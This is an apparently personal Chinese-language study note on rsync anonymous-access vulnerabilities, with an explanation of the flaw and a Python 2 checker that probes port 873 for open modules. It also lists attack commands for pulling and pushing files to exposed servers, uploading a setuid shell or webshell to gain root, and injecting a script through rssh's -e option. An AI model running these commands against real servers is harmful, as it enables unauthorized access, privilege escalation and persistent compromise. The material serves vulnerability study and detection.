前言
前兩天總結了互聯網或者說IT公司內網常見的漏洞,然后決定針對還沒學習過不了解的漏洞進行學習了解,所以准備一一針對來研習,今天是第一篇,立一個Flag,爭取今年搞定,為啥說的這么艱難,因為平時工作忙,不一定每周都有時間研究,說一下,常見的WEB類漏洞,弱口令漏洞就不在贅述了,不算在此次學習之列
Rsync簡介
什么是Rsync
Rsync(remote synchronize)是一個遠程數據同步工具,可通過LAN/WAN快速同步多台主機間的文件。
什么是Rsync的匿名訪問
匿名訪問很簡單,不需要用戶名,不需要身份驗證的所有信息(包括各種口令、公私鑰、生物學特征等等),簡而言之就是一句話,沒有任何訪問控制,直接可以訪問
一般危害
下載:#rsync -avz a.b.c.d::path/file path/filiname
上傳:#rsync -avz path/filename a.b.c.d::path/file
提權操作
#chmod a+s shell
#rsync -avz shell a.b.c.d::path/file
*查看shell權限不變,運行后提權到root,也可以嘗試上傳webshell*
rssh
此外rssh-2.3.3-3沒有正確過濾-e選項,可能導致問題。
#rsync -e./script.sh a.b.c.d::/tmp--server ./
漏洞驗證
- Metaspolit的auxiliary/scanner/rsync/modules_list
- python腳本
# -*- coding:utf-8 -*-
"""
Rsync匿名訪問漏洞(未授權訪問漏洞)驗證工具
"""
#引入依賴的包和庫文件
import os
import sys
import socket
import logging
#全局配置設置
logging.basicConfig(level=logging.INFO,format="%(message)s")
socket.setdefaulttimeout(3)
#全局變量
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#全局函數:
def str2Binary(content):
"""將文本流轉換成二進制流"""
return content.replace(' ','').replace('\n','').decode('hex')
def rsyncCheck(ip,port):
"""執行端口預檢查"""
global client
try:
client.connect((ip,port))
except Exception,reason:
logging.error("[-] 訪問失敗:%s"%reason)
return False
helloString = "405253594e43443a2033312e300a"
try:
client.send(str2Binary(helloString))
hellodata = client.recv(1024)
except Exception,reason:
logging.error("[-] 通信失敗:%s"%reason)
return False
if hellodata.find("@RSYNCD") >= 0:
try:
client.send(str2Binary("0a"))
except Exception,reason:
logging.error("[-] 訪問失敗:%s"%reason)
return False
while True:
try:
data = client.recv(1024)
except Exception,reason:
logging.error("[-] 通信失敗:%s"%reason)
if data == "":
break
else:
if str(data).find("@RSYNCD: EXIT") >= 0:
logging.info("[*] 發現漏洞!")
return True
return False
if __name__ == "__main__":
ip = sys.argv[1]
try:
port = sys.argv[2]
except Exception,reason:
port = 873
logging.error("[-] 端口未輸入,按照873默認端口進行")
try:
port = int(port)
except Exception,reason:
logging.error("[-] 端口輸入錯誤,按照873默認端口進行")
port = 873
if not rsyncCheck(ip,port):
logging.info("[+] 測試安全!")